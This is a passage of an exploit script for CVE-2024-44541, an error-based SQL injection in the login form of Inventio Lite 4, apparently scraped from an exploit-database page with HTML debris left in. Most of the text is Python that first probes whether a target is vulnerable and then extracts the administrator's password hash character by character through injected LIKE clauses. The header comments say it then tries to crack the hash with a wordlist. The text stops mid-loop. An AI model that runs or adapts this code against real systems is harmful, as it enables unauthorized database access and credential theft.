\n# Exploit Title: Inventio Lite 4 – SQL Injection
\n
Error Based SQLi in “username” parameter on “\/?action=processlogin.”
\n
# Date: 08\/21\/2024
\n
# Exploit Author: pointedsec
\n
# Vendor Homepage: http:\/\/evilnapsis.com
\n
# Software Link: https:\/\/github.com\/evilnapsis\/inventio-lite
\n
# Version: < 4 \n
# Tested on: Linux, Windows
\n
# CVE : CVE-2024-44541
\n
# This scripts exploit this vulnerability, extracting the hashes from database and tries to decrypt it.
\n
# The passwords are hashed like this: $pass = sha1(md5($_POST[‘password’]));<\/p>\n
import requests
\n
import signal
\n
from pwn import *<\/p>\n
BASE_URL = “http:\/\/192.168.1.51\/inventio-lite\/”
\n
PWD_DIC_PATH = “\/usr\/share\/wordlists\/rockyou.txt”
\n
LOGIN_ACTION = BASE_URL + “?action=processlogin”<\/p>\n
# Handling Ctrl + C
\n
def def_handler(x,y):
\n
log.failure(“Quitting…”)
\n
exit(1)<\/p>\n
signal.signal(signal.SIGINT, def_handler)<\/p>\n
def is_vulnerable():
\n
log.info(“Checking if target is vulnerable”)
\n
payload = {
\n
“username”: “\\”) \\””,
\n
“password”: “\\”) \\””
\n
}
\n
r = requests.post(LOGIN_ACTION, data=payload)
\n
if (r.status_code != 200 or “Uncaught mysqli_sql_exception” in r.text):
\n
return True
\n
else:
\n
return False<\/p>\n
def get_administrator_hash(username):
\n
prog_hash = log.progress(“Extracting Admin Password Hash”)
\n
replace_payload = “\\”) or username LIKE ‘‘ or email LIKE ‘‘ and password LIKE ‘%’ and is_admin=1 LIMIT 1– -“.replace(““, username)
\n
characters = “abcdefghijklmnopqrstuvwxyz0123456789” # SHA(MD5(PASSWORD)) so there are no symbols and no uppercases
\n
admin_hash = “”<\/p>\n while True:
\n
found_char = False
\n
for char in characters:
\n
payload = {
\n
“username”: replace_payload.replace(““, admin_hash + char),
\n
“password”: “blablablbalbablalba123@”
\n
}
\n
try:
\n
r = requests.post(LOGIN_ACTION, data=payload)
\n
r.raise_for_status()
\n
except requests.RequestException as e:
\n
log.error(f”Request failed: {e}”)
\n
continue<\/p>\n if “